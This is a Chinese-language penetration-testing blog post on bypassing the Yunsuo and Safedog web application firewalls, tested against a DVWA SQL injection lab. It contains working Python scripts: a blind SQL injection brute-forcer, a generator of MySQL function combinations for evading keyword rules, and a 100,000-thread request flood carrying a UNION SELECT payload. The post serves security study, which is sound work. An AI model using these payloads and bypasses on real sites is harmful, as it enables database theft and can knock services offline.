我的ByPassWAF之路

简介: 我的ByPassWAF之路

0x00 背景


没有任何背景,就是想ri过WAF



0x01 有哪些过WAF的手法



第一种:找到未被WAF正则规则收录的数据库关键词


第二种:畸形的HTTP请求


第三种:WAF引擎绕过


0x02 测试环境


server2012


php


MySQL


apache



46560aafee122b5500af07a38166e21c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



0x03 WAF绕过部分思路



替换关键函数绕过云锁&安全狗


绕过实例:


bfbfcd8a9a45f6285fcd35a2af8bbef8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


deba39d587efc1cc89ca5cd2bdcee710_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


be991aa7e0e0393d056200f0c8bd1a7e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


# -*- coding: utf-8 -*-
import requests
import time
url = "http://192.168.81.176/d/vulnerabilities/sqli/"
headers = {
"Cookie": '''security=low; security_session_verify=7a73c0e465f9189db590a3b7d3a8a501; safedog-flow-item=7A37BF7BC93388A6F54A5942DBE5BAED; PHPSESSID=o0ke6kb0iekisbr1lf7tj3mmh8'''
}
res=''
for i in range(1, 33):
for m in range(0, 128):
payload = "ord(mid(version(),{},1))-{}".format(i, m)
# payload = "ord(mid(version(),1,1))-52"
data = {
"id": payload,
"Submit": "Submit"
}
response = requests.post(url=url, headers=headers, data=data)
if "网站防火墙" in response.text:
exit(1)
if "First name: admin" in response.text:
res+=chr(m + 1)
print(res)

bc7d16f74ea516651710e05b12c325da_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


绕过遇到的问题及解法

  • 如何找到更多的未保存的函数?
  • 找到这些函数如何使用?


如何找到未被记录的函数

  • 将MySQL函数分为几类
  • 拆分字符串函数:mid、left、lpad等
  • 编码函数:ord、hex、ascii等
  • 运算函数:+ - *  / & ^ ! like rlike reg等
  • 空格替换部分:09、0a、0b、0c、0d等
  • 关键数据函数:user()、version()、database()等
  • 然后将这些不同类型的函数组合拼接在一起


例如:

a = ["", "+", "-", "*", "/", " ", "--", "^", "and ", "or ", "!", "@", "`", "~"]
b = ["hex({})", "ord({})", "ascii({})", "", " "]
d = ["LPAD({a})", "LEFT({a})", "MID({a})","POSITION({a})","RIGHT({a})","SUBSTR({a})","SUBSTRING"]
for n in a:
for i in b:
for m in d:
print(n + i.format(m.format(a="version()")))

找到这些函数如何使用


例子:

for i in range(1, 33):
for m in range(0, 128):
payload = "ord(mid(version(),{},1))-{}".format(i, m)
# payload = "ord(mid(version(),1,1))-52"
data = {
"id": payload,
"Submit": "Submit"
}
response = requests.post(url=url, headers=headers, data=data)
if "网站防火墙" in response.text:
exit(1)
if "First name: admin" in response.text:
res+=chr(m + 1)
print(res)


利用畸形的HTTP请求包绕过云锁&安全狗


通过删除form-data绕过检测:


cb46056a1267562e41ffc2103b9ce6cc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


通过修改name属性绕过检测:


0395783a9520a6ada43797221a422f9e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


如何获取更多的绕过思路

了解《HTTP权威指南》,里面介绍了很多不常见的请求包。


利用WAF引擎问题绕过WAF


7077d23f96437c597c920a3b31a831af_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


b2568f7f2c010c930a9df59c2d2eb650_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


# -*- coding: utf-8 -*-
import requests
import time
import threading
url = "http://192.168.81.176/d/vulnerabilities/sqli/"
headers = {
"Cookie": '''security=low; security_session_verify=7a73c0e465f9189db590a3b7d3a8a501; safedog-flow-item=7A37BF7BC93388A6F54A5942DBE5BAED; PHPSESSID=o0ke6kb0iekisbr1lf7tj3mmh8'''
}
def main():
payload = "0 union select user(),1 -- -"
data = {
"id": payload,
"Submit": "Submit"
}
try:
response = requests.post(url=url, headers=headers, data=data)
if "root" in response.text:
print(payload)
except:
pass
if __name__ == "__main__":
t = []
for i in range(100000):
a = threading.Thread(target=main)
a.start()
t.append(a)
for i in t:
i.join()

绕过思路:

此类型攻击更适用于云WAF,部分WAF在处理请求的时候,都有各自的处理时常机制。比如A接入WAF,首先要保证A业务正常的访问质量,不可能每一条请求都处理很长时间,否则会导致客户弃用的。

此时可以将同一个payload多次发送,在不触发CC防御机制的情况下,进行测试。

在遇到云WAF的时候,可以尝试这种方式。但要注意客户业务别被打挂了。


0x04 总结一下


  1. 抛砖引玉。
  2. 通过利用MySQL的机制去绕过WAF,需要了解数据库更多的不常用的函数。
  3. 利用HTTP机制去绕过WAF,需要读一下《HTTP权威指南》,里面有很多过WAF的方式。
  4. 利用WAF引擎问题去过WAF,需要了解各个厂家WAF的处理逻辑。

相关文章
|
9月前
|
存储 Kubernetes 负载均衡
k8s学习之路【01.安装】
k8s学习之路【01.安装】
|
9月前
|
存储 架构师 安全
架构师成长之路(一)
架构师成长之路(一)
180 1
|
10月前
|
架构师 前端开发 云计算
【架构师之路 一】计划总纲篇
【架构师之路 一】计划总纲篇
533 1
|
10月前
|
设计模式 消息中间件 NoSQL
【架构师之路 七】一年期计划
【架构师之路 七】一年期计划
440 1
|
SQL 缓存 Java
JPA学习之路(基础篇)
📒 程序员小王的博客:(https://www.wolai.com/wnaghengjie/ahNwvAUPG2Hb1Sy7Z8waaF) 🎉 欢迎点赞 👍 收藏 ⭐留言 📝 😊 如有编辑错误联系作者,如果有比较好的文章欢迎分享给我,我会取其精华去其糟粕 ———————————————— 版权声明:本文为CSDN博主「程序员小王java」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_44385486/article/details/123046499
125 0
JPA学习之路(基础篇)
|
存储 安全 编译器
【C++修炼之路】C++入门(下)
【C++修炼之路】C++入门(下)
85 0
【C++修炼之路】C++入门(下)
|
算法 编译器 C语言
【C++修炼之路】C++入门(上)2
【C++修炼之路】C++入门(上)
70 0
【C++修炼之路】C++入门(上)2
|
安全 C语言 C++
【C++修炼之路】C++入门(上)
【C++修炼之路】C++入门(上)
87 0
【C++修炼之路】C++入门(上)
|
Web App开发 人工智能 监控
小可的成长之路——服务器之路
u c个人的云服务器学习与实战的成长之路
146 0
小可的成长之路——服务器之路
|
供应链 JavaScript 前端开发
开源会走上违心之路吗?
开源项目越“成功”,它给维护者带来的压力就越大。
155 0